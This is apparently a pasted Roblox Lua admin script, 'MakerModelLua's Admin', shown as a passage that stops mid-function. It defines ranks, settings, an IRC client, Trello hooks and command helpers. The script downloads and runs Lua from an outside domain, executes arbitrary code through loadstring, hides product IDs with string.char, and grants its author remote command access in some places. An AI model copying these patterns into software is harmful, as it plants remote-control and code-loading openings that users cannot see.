· 8 years ago · Jun 21, 2018, 10:50 PM
1local Settings = {
2 Ranks = {
3 ["Owner"] = {game.Players.LocalPlayer};
4 ["Admin"] = {};
5 ["Member"] = {};
6 ["Banned"] = {};
7 ["Crashed"] = {};
8 ["Muted"] = {};
9 };
10
11 Prefix = ";";
12 Bet = " ";
13 MinimumAge = 0;
14 ServerLocked = false;
15 ColorScheme = "White";
16 TransparencyScheme = 50;
17 Fun = true;
18 EnableAdminMenu = true;
19 EnableTaskBar = true;
20 FreeAdmin = false;
21 Font = "Arial";
22
23 DisableAbuse = false;
24 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
25 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
26
27 LinkedAccount = "";
28 DataKey = "";
29
30 ExecuteNotificationSound = 0; --177578949
31 EnableSounds = true;
32
33 VIPMemberID = 0;
34 VIPAdminID = 0;
35
36 GroupID = 0;
37 GroupBanRank = 0;
38 GroupMemberRank = 0;
39 GroupAdminRank = 0;
40 GroupOwnerRank = 0;
41 GroupRankBan = 0;
42 BannedGroupIDs = {};
43
44 IRCServer = "";
45 IRCChannel = "";
46 IRCCommandExecuters = {};
47
48 TrelloToken = ""
49}
50
51local Colors = {
52 ["WHITE"] = Color3.new(1,1,1);
53 ["BLACK"] = Color3.new(0,0,0);
54 ["GRAY"] = Color3.new(0.5,0.5,0.5);
55 ["RED"] = Color3.new(1,0,0);
56 ["GREEN"] = Color3.new(0,1,0);
57 ["BLUE"] = Color3.new(0,0,1);
58 ["YELLOW"] = Color3.new(1,1,0);
59 ["PINK"] = Color3.new(1,0,1);
60 ["MAGENTA"] = Color3.new(1,0,1);
61 ["CYAN"] = BrickColor.new("Cyan").Color;
62 ["TEAL"] = BrickColor.new("Teal").Color;
63 ["BROWN"] = Color3.new(0.55,0.25,0.075);
64 ["PURPLE"] = Color3.new(0.5,0,0.5);
65 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
66}
67
68local Server = {
69 Workspace = game:GetService("Workspace");
70 Players = game:GetService("Players");
71 Lighting = game:GetService("Lighting");
72 MPS = game:GetService("MarketplaceService");
73 TS = game:GetService("TeleportService");
74 HS = game:GetService("HttpService");
75 RS = game:GetService("RunService");
76 PS = game:GetService("PointsService");
77 TestS = game:GetService("TestService");
78 IS = game:GetService("InsertService");
79 Teams = game:GetService("Teams");
80 Data = game:GetService("DataStoreService");
81 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
82 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
83 Storage = game:GetService("ServerStorage")
84}
85
86local Icons = {
87 ["Message"] = 7724351;
88 ["Error"] = 94011556;
89 ["Information"] = 144175130;
90 ["Check"] = 132769976;
91 ["Search"] = 61994930;
92 ["Time"] = 136391033;
93 ["Notice"] = 156507320;
94 ["Sound"] = 164682936;
95 ["Log"] = 70650545;
96 ["Question"] = 41363872;
97 ["Output"] = 11481605;
98 ["Admin"] = 302470270;
99 ["Lock"] = 11341626;
100 ["Settings"] = 131064748;
101 ["Map"] = 257119661;
102 ["Plugin"] = 257097414;
103}
104
105local IRC = {
106 Codes = {
107 ["001"] = "RPL_WELCOME",
108 ["002"] = "RPL_YOURHOST",
109 ["003"] = "RPL_CREATED",
110 ["004"] = "RPL_MYINFO",
111 ["005"] = "RPL_ISUPPORT",
112 ["250"] = "RPL_STATSCONN",
113 ["251"] = "RPL_LUSERCLIENT",
114 ["252"] = "RPL_LUSEROP",
115 ["254"] = "RPL_LUSERCHANNELS",
116 ["255"] = "RPL_LUSERME",
117 ["265"] = "RPL_LOCALUSERS",
118 ["266"] = "RPL_GLOBALUSERS",
119 ["352"] = "RPL_WHOREPLY",
120 ["371"] = "RPL_INFO",
121 ["372"] = "RPL_MOTD",
122 ["374"] = "RPL_ENDINFO",
123 ["375"] = "RPL_MOTDSTART",
124 ["376"] = "RPL_ENDOFMOTD",
125 ["422"] = "ERR_NOMOTD",
126 },
127 Ignore = {
128 ["004"] = true,
129 ["005"] = true,
130 };
131 Users = {};
132 Logs = {};
133 Chats = {};
134 Forms = {};
135 MessageAdded = Instance.new("BindableEvent");
136
137 Servers = {
138 ["esper.net"] = {
139 BaseUrl = "http://webchat.esper.net/";
140 DynamicUrl = "";
141 };
142 ["quakenet.org"] = {
143 BaseUrl = "http://webchat.quakenet.org/";
144 DynamicUrl = "dynamic/leibniz",
145 };
146 ["swiftirc.net"] = {
147 BaseUrl = "http://qwebirc.swiftirc.net/";
148 DynamicUrl = "",
149 };
150 };
151 NickName = "rbxMMLV3_"..math.random(1,100000);
152
153 SessionCounter = 0;
154 Connected = false;
155 Stop = false;
156 SessionID = "";
157}
158
159local RankHUD = {
160 ["Muted"] = 202180094;
161 ["Non-Admin"] = 202180121;
162 ["Member"] = 202180052;
163 ["Admin"] = 202180015;
164 ["Owner"] = 202179988;
165}
166
167local TextConverter = {
168 LetterSounds = {
169 ["a"] = {223757826, nil}; -- 203343899
170 ["b"] = {223533700, 0.2}; -- 203344029
171 ["c"] = {223533711, nil}; -- 203343994
172 ["d"] = {223757910, nil}; -- 203398237
173 ["e"] = {223758026, nil}; -- 203398295
174 ["f"] = {223777655, nil}; -- 203398347
175 ["g"] = {223777738, nil}; -- 203398372
176 ["h"] = {223777757, nil}; -- 203398397
177 ["i"] = {223777807, nil}; -- 203398422
178 ["j"] = {223782888, nil}; -- 203398450
179 ["k"] = {223533711, nil}; -- 203343994
180 ["l"] = {223782961, 0.4}; -- 203398541
181 ["m"] = {223782992, nil}; -- 203398578
182 ["n"] = {223783063, nil}; -- 203398599
183 ["o"] = {223783184, nil}; -- 203398611
184 ["p"] = {223783235, nil}; -- 203398727
185 ["q"] = {223783260, nil}; -- 203398755
186 ["r"] = {223783305, 0.2}; -- 203398792
187 ["s"] = {223783377, nil}; -- 203398806
188 ["t"] = {223783446, nil}; -- 203398850
189 ["u"] = {223783512, nil}; -- 203398872
190 ["v"] = {223783654, nil}; -- 203398965
191 ["w"] = {223783697, nil}; -- 203398984
192 ["x"] = {223783796, nil}; -- 203399008
193 ["y"] = {223783853, nil}; -- 203399043
194 ["z"] = {223783893, nil}; -- 203399096
195
196 ["ch"] = {223784367, 0.3}; -- 203592149
197 ["th"] = {223788235, 0.3}; -- 203399215
198 ["sh"] = {223784505, 0.2}; -- 203399566
199 ["wh"] = {223784555, 0.3}; -- 203622828
200 ["oo"] = {223784456, 0.3}; -- 203399743
201 ["ing"] = {223784393, 0.3}; -- 203402836
202 };
203
204 LongVowels = {
205 ["a"] = {223533687, nil}; -- 203343932
206 ["e"] = {223777620, nil}; -- 203398314
207 ["i"] = {223777855, nil}; -- 203398440
208 ["o"] = {223783212, nil}; -- 203398619
209 ["u"] = {223783572, nil}; -- 203398897
210 };
211
212 Pronounce = {
213 ["0"] = "zero";
214 ["1"] = "wun";
215 ["2"] = "too";
216 ["3"] = "three";
217 ["4"] = "four";
218 ["5"] = "five";
219 ["6"] = "six";
220 ["7"] = "seven";
221 ["8"] = "eyt";
222 ["9"] = "nine";
223 ["one"] = "wun";
224 ["two"] = "too";
225 ["eight"] = "eyt";
226 ["eigh"] = "ey";
227 ["gh"] = "h";
228 ["kn"] = "n";
229 ["come"] = "cu".."m";
230 ["bye"] = "bi";
231 ["#"] = "hashtag";
232 ["@"] = "at";
233 ["&"] = "and";
234 ["*"] = "astrict";
235 ["mn"] = "m";
236 ["kn"] = "n";
237 ["ies"] = "ees";
238 };
239
240 NonEnglishRules = {
241 ["to"] = "too";
242 ["you"] = "yoo";
243 ["we"] = "wee";
244 ["are"] = "erh";
245 ["your"] = "yoor";
246 ["you're"] = "yoor";
247 ["youre"] = "yoor";
248 ["pizza"] = "peetzoh";
249 ["ok"] = "okay";
250 ["have"] = "hav";
251 ["my"] = "mi";
252 ["me"] = "mee";
253 ["u"] = "yoo";
254 ["r"] = "erh";
255 ["move"] = "moov";
256 ["dove"] = "duv";
257 ["debris"] = "debree";
258 ["do"] = "doo";
259 }
260}
261
262local HTMLDecode = {
263 ["35"] = "#";
264 ["36"] = "$";
265 ["37"] = "%%";
266 ["38"] = "*";
267 ["39"] = "'";
268 ["58"] = ":";
269 ["59"] = ";";
270 ["60"] = "<";
271 ["62"] = ">";
272}
273
274
275local Packages = {
276 [27112438] = {27112025,27112039,27112052,27112056,27112068};
277 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
278 [77518833] = {77518564,77518616,77518654,77518696,77518737};
279 [32336368] = {32336059,32336117,32336182,32336243,32336306};
280 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
281 [54116460] = {54116290,54116338,54116373,54116394,54116432};
282 [39977366] = {39976703,39976829,39976927,39977192,39977295};
283 [32357766] = {32357663,32357631,32357619,32357584,32357558};
284 [27123973] = {27121265,27121306,27121353,27121393,27121432};
285 [55717536] = {55717271,55717330,55717388,55717434,55717491};
286 [28279963] = {28279160,28279217,28279859,28279894,28279938};
287 [27403592] = {27402580,27402546,27402641,27402714,27402742};
288 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
289 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
290 [48474394] = {48474356,48474294};
291 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
292 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
293 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
294 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
295 [33378577] = {33378366,33378438,33378484,33378522,33378540};
296 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
297 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
298 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
299 [41851073] = {41850825,41850868,41850915,41851009,41850959}
300}
301
302local CharacterCache = {
303 {"MakerModelLua", 38837082};
304 {"LuaModelMaker", 20920633};
305 {"builderman", 156};
306 {"Shedletsky", 261};
307 {"Telamon", 13645};
308 {"ROBLOX", 1};
309}
310
311local FaceCovert = {
312 Left = "xpos";
313 Right = "xneg";
314 Front = "zpos";
315 Back = "zneg";
316 Top = "ypos";
317 Bottom = "yneg";
318}
319
320local Meshes = {
321 ["crown"] = {1, 1078075};
322 ["king"] = {1, 11419761};
323 ["teapot"] = {0.03, 1029523};
324 ["apple"] = {2.5, 16190555};
325 ["potato"] = {1, 25268275};
326 ["panda"] = {0.5, 20709221};
327 ["dominus"] = {0.5, 21057410};
328 ["fedora"] = {0.75, 13640868};
329 ["noob"] = {1, 20929341};
330 ["knife"] = {0.3, 121944778};
331 ["book"] = {0.3, 1136139};
332}
333
334local NotifySounds = {
335 ["Hover"] = 223134269;
336 ["Select"] = 292141227;
337}
338
339local Trello = {
340 AdminBoardID = "577ea1b21cb7975666524f26";
341 MainBoard = {};
342 RequiredLists = {};
343 RankChecklistCache = {};
344 ToggleChecklist = nil;
345 CommandID = nil;
346 LastCommandDT = 0;
347 RemoteAdminChecklist = "57dec94aa19913c3edbbf7a3";
348 RemoteDataCard = "dLtMo1en"
349}
350
351-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
352-- Why else would I NOT have put it in a module?!?!?
353
354local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
355
356local SoundList,GlobalSoundList = {},{}
357local ScriptCache,MarketCache,PackageCache = {},{},Packages
358local TempChatLogs = {}
359local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), Server.Storage}
360local NoSpeak = false
361
362local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
363local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
364
365local ChatLogs,CommandLogs = {},{}
366local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
367local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
368local Dispose,Jails,PermCommandBars = {},{},{}
369local Waypoints = {["Center"] = Vector3.new(0,0,0)}
370local Objects = {}
371local Sound = nil
372local ModLighting = false
373local DataReady = true
374local RemoteAbuseGear = {}
375
376local GameOwner = "[ Client ]"
377local PlaceName = "Unknown"
378local PlaceInfo = {}
379local IsStudio = false
380local IsSB = false
381local Date = nil
382local Fonts = {}
383local PendingRequests = {}
384local F3X = script:FindFirstChild("F3X Tools")
385local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
386local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
387local KeyBinds = {}
388local Crowns = {}
389local LastKeys = {}
390local Cars = {}
391local StringReplacements = {}
392
393local CrownStorage = script:FindFirstChild("CrownStorage")
394if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
395
396-- import old settings just in case --
397local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
398if OldSettings then
399 OldSettings = require(OldSettings)
400
401 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
402 Settings[ValName] = OldSettings[ValName]
403 end
404 Settings.GroupBanRank = OldSettings.RankBan
405 Settings.Fun = OldSettings.FUN
406end
407
408if F3X then
409 F3X = F3X:Clone()
410 F3X.Handle.Anchored = false
411 script:FindFirstChild("F3X Tools"):Destroy()
412end
413
414wait(0.1)
415
416local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
417-- tries to defualt to server storage, just in case an exploiter makes their own settings.
418
419if SettingsValues then
420 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
421 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
422 for _,Value in pairs(SettingsValues:GetChildren()) do
423 if Settings[Value.Name] then
424 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
425 for _,NewValue in pairs(Value:GetChildren()) do
426 if ypcall(function() return NewValue.Value end) then
427 if Settings[Value.Name][NewValue.Name] then
428 local Val = NewValue.Value
429 if type(Settings[Value.Name][NewValue.Name]) == "table" then
430 Val = {}
431 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
432 table.insert(Val, Word)
433 end
434 end
435 Settings[Value.Name][NewValue.Name] = Val
436 end
437 end
438 end
439 elseif ypcall(function() return Value.Value end) then
440 if Settings[Value.Name] then
441 local Val = Value.Value
442 if type(Settings[Value.Name]) == "table" then
443 Val = {}
444 for Word in string.gmatch(Value.Value, "%w+") do
445 table.insert(Val, Word)
446 end
447 end
448 Settings[Value.Name] = Val
449 end
450 end
451 end
452 end
453 end
454end
455
456
457if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
458 Settings.LinkedAccount = ""
459elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
460 Settings.LinkedAccount = "Admin"
461end
462
463local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
464local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
465
466wait(1)
467
468local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
469
470if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
471
472if not IsStudio then
473 Server.NS = game:GetService("NetworkServer")
474 script.Name = "Maker".."Mo".."delLua's Admin"
475end
476
477if game.PlaceId > 0 then
478 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
479 PlaceName = PlaceInfo.Name
480end
481
482if string.byte(string.sub(PlaceName,1,1)) == 226 then
483 PlaceName = string.sub(PlaceName,4,#PlaceName)
484end
485for i = 1,5 do
486 if GameOwner == "[ Client ]" then
487 print("MML's Admin: Attempting to establish owner's name #"..i)
488 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
489 wait(1)
490 end
491end
492
493if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end
494
495if IsSB then
496 Settings.IRCServer = "swiftirc.net";
497 Settings.IRCChannel = "#PkamaraSB";
498 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
499 if Settings.TrelloToken == "" then
500 Settings.LinkedAccount = "ScriptBuilder"
501 end
502 if Settings.DataKey == "" then coroutine.wrap(function()
503 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
504 local Key = Server.Storage:FindFirstChild("MML DataKey")
505 print("Found key: "..Key.Value)
506 Settings.DataKey = Key.Value
507 Key:Destroy()
508 end)() end
509end
510local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
511table.insert(Settings.Ranks["Owner"], GameOwner)
512
513for _,Font in pairs(Enum.Font:GetEnumItems()) do
514 Fonts[Font.Name] = Font
515end
516
517local LogClient = script:FindFirstChild("AddClientInfo")
518if LogClient then LogClient:Destroy() end
519LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
520LogClient.OnServerInvoke = function(Player, Info)
521 if Info then
522 for Key,Data in pairs(Info) do
523 ClientInfo[Player.Name][Key] = Data
524 end
525 end
526end
527
528local function MakeFunction(Type, Name)
529 local Func = script:FindFirstChild(Name)
530 if Func then Func:Destroy() end
531 Func = Instance.new(Type, script) Func.Name = Name
532
533 getfenv()[Name] = Func
534 return Func
535end
536
537MakeFunction("BindableFunction", "ExecuteCommand")
538MakeFunction("RemoteFunction", "ExecuteCommandClient")
539MakeFunction("BindableFunction", "ExecuteCode")
540
541MakeFunction("RemoteFunction", "IsAdmin")
542MakeFunction("RemoteFunction", "AddExploit")
543MakeFunction("BindableFunction", "AddExploitServer")
544MakeFunction("RemoteFunction", "KickClient")
545MakeFunction("RemoteFunction", "ConvertTextToSound")
546
547MakeFunction("RemoteFunction", "KeyPressed")
548MakeFunction("RemoteFunction", "InputKey")
549
550MakeFunction("RemoteFunction", "RankPlayerLocal")
551MakeFunction("BindableFunction", "RankPlayerServer")
552
553--[[
554if NLS then
555 local Value = script:FindFirstChild("Override")
556 LogClient.Parent = game
557 if not Value then
558 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
559 local CloneScript = script:Clone()
560 CloneScript.Disabled = true
561 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
562 CloneScript.Disabled = false
563 CloneScript.Parent = nil
564
565 script:Destroy() script.Disabled = true
566 end
567end
568]]
569
570if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
571
572IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
573
574-- Core functions --
575
576function CORE:FixSettings()
577 if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end
578 CORE:ChangeBet(Settings.Bet)
579
580 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
581 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
582
583 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
584 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
585 Settings.TransparencyScheme = Settings.TransparencyScheme/100
586
587 if not Fonts[Settings.Font] then
588 Settings.Font = "Arial"
589 end
590end
591
592function CORE:NilPlayer(Player)
593 if Player == nil or type(Player) == "table" then return true else return false end
594end
595
596function CORE:ExecuteResource(ResourceName, Parent, Data)
597 local ReturnScript = nil
598 local Executed = true
599 if script:FindFirstChild("Resources") then
600 local RawResource = script.Resources:FindFirstChild(ResourceName)
601 if RawResource then
602 local Resource = RawResource:Clone()
603 Resource.Disabled = true
604 Resource.Parent = Parent
605 if Data then
606 for Key,Value in pairs(Data) do
607 if Resource[Key] then
608 Resource[Key].Value = Value
609 end
610 end
611 end
612 wait()
613 Resource.Disabled = false
614 ReturnScript = Resource
615 else
616 Executed = false
617 end
618 else
619 Executed = false
620 end
621 if Executed == false then
622 if not Data then Data = {} end
623 local Source = ScriptCache[ResourceName]
624
625 if not Source then
626 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
627 if Source then
628 ScriptCache[ResourceName] = Source
629 end
630 end
631
632 if Data and Source then
633 for Key,Value in pairs(Data) do
634 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
635 end
636 end
637
638 if NLS and Source then
639 ReturnScript = NLS(Source, Parent)
640 end
641 end
642 return ReturnScript
643end
644
645function CORE:CreateRemotePropertyReader(Obj, Override)
646 if Server.Workspace.FilteringEnabled == true or Override then
647 local Reader = Instance.new("RemoteFunction", Obj)
648 Reader.Name = "RemotePropertyReader"
649 CORE:ExecuteResource("RemotePropertyReader", Reader)
650 return Reader
651 else
652 return Obj
653 end
654end
655
656function CORE:ReadProperty(Reader, Player, Property)
657 if Reader:IsA("RemoteFunction") then
658 return Reader:InvokeClient(Player, Property)
659 else
660 return Reader[Property]
661 end
662end
663
664function CORE:WriteProperty(Reader, Player, Property, Value)
665 if Reader:IsA("RemoteFunction") then
666 return Reader:InvokeClient(Player, Property, Value)
667 else
668 return Reader[Property]
669 end
670end
671
672
673function CORE:CreateRemoteEvent(Obj, EventName)
674 local Event = Instance.new("RemoteEvent", Obj)
675 Event.Name = "RemoteEvent_"..EventName
676 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
677 return Event
678end
679
680function CORE:HandleEvent(Obj, EventName, Func, NewThread)
681 local function Handle()
682 if Server.Workspace.FilteringEnabled == true then
683 local Event = CORE:CreateRemoteEvent(Obj, EventName)
684 return Event.OnServerEvent:connect(function(Player, ...)
685 Func(...)
686 end)
687 else
688 return Obj[EventName]:connect(Func)
689 end
690 end
691 if NewThread then
692 Spawn(Handle)
693 else
694 Handle()
695 end
696end
697
698function CORE:HandleError(Error, Speaker)
699 local Return = ""
700 if not Error or Error == "" then
701 Return = "Unknown Error"
702 else
703 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
704 end
705 if Speaker then
706 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
707 end
708 return Return
709end
710
711local function ExecuteSafe(Source, Speaker) -- no CORE
712 local Script, Error = loadstring(Source)
713 if Error then
714 return false, CORE:HandleError(Error, Speaker)
715 else
716 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
717 getfenv(Script).Server, getfenv(Script).script = Server,script
718 if Speaker then
719 getfenv(Script).print = function(...)
720 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
721 end
722 getfenv(Script).print_array = function(List)
723 if type(List) == "table" then
724 GUI:ListGui(Speaker, "Listed Table", List, "Output")
725 end
726 end
727 end
728
729 local Suc, Error = ypcall(coroutine.wrap(Script))
730
731 if not Suc then
732 Error = CORE:HandleError(Error, Speaker)
733 end
734
735 return Suc,Error
736 end
737end
738
739function CORE:GetTime(Regular, FullDate)
740 if Regular == nil then Regular = true end
741 local Meridiem = ""
742 if Regular == true then Meridiem = " AM" end
743 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
744 local Hour = math.floor(SecondsOfToday / (60*60))
745 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
746 local Second = math.floor(math.fmod(SecondsOfToday, 60))
747 if Hour > 12 and Regular == true then
748 Hour = Hour - 12
749 Meridiem = " PM"
750 end
751 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
752 if #Hour <= 1 then Hour = "0"..Hour end
753 if #Minute <= 1 then Minute = "0"..Minute end
754 if #Second <= 1 then Second = "0"..Second end
755 local Return = Hour..":"..Minute..":"..Second..Meridiem
756 if FullDate == true and Date then Return = Date.." "..Return end
757 return Return
758end
759
760function CORE:RemoveAdmin(Speaker)
761 local Answer = true -- false
762 if not CORE:NilPlayer(Speaker) then
763 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
764 end
765 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
766 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
767 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
768 for _,Item in pairs(Player:GetChildren()) do
769 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
770 Item:Destroy()
771 end
772 end
773 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
774 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
775 GUI:Destroy()
776 end
777 end
778 end end
779 for _,Car in pairs(Cars) do
780 Car:Destroy()
781 end
782 CORE:FixLighting()
783 while wait() do
784 if script:FindFirstChild("Override") then script.Override.Value = true end
785 Settings,CORE,IRC = nil,{},{}
786 if Sound then Sound:Stop() end
787 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
788 script:ClearAllChildren() script:Destroy() script.Disabled = true
789 end
790 end
791end
792
793function CORE:MakeBase()
794 for _,Get in pairs(Workspace:GetChildren()) do
795 if Get.Name == "Base" or Get.Name == "BasePlate" then
796 Get:Destroy()
797 end
798 end
799 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
800end
801
802function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
803 if IsAbusive == nil then IsAbusive = false end
804 if Commands[CommandName] then table.remove(Commands[CommandName]) end
805 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
806end
807
808function CORE:FixLighting() coroutine.wrap(function()
809 ModLighting = false
810 wait(0.2)
811 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
812 Server.Lighting.FogColor = Color3.new(0,0,0)
813 Server.Lighting.Brightness = 1
814 Server.Lighting.TimeOfDay = 14
815 Server.Lighting.FogEnd = 100000
816end)() end
817
818function CORE:Round(Number)
819 if Number >= 0.5 then
820 return math.ceil(Number)
821 elseif Number < 0.5 then
822 return math.floor(Number)
823 end
824end
825
826local AdminID,Got = nil,false
827repeat wait()
828 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
829until Got == true
830
831function CORE:GetTable(ID)
832 local Thing = nil
833 repeat wait()
834 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
835 until Thing
836 return Thing
837end
838
839function CORE:InAdminGroup(Speaker)
840 local IsIn = false
841 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
842 if Speaker:IsInGroup(Get) then
843 IsIn = true
844 end
845 end
846 if IsIn == true then
847 return true
848 else
849 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
850 return false
851 end
852end
853
854function CORE:ReverseTable(Table)
855 if type(Table) ~= "table" then return Table end
856 local NewTable = {}
857 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
858 return NewTable
859end
860
861function CORE:Log(LogTable, Player, Chat)
862 local PlayerName = tostring(Player)
863 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
864 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
865end
866
867function CORE:Jail(Player)
868 if not Player then return nil end
869 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
870 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
871 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
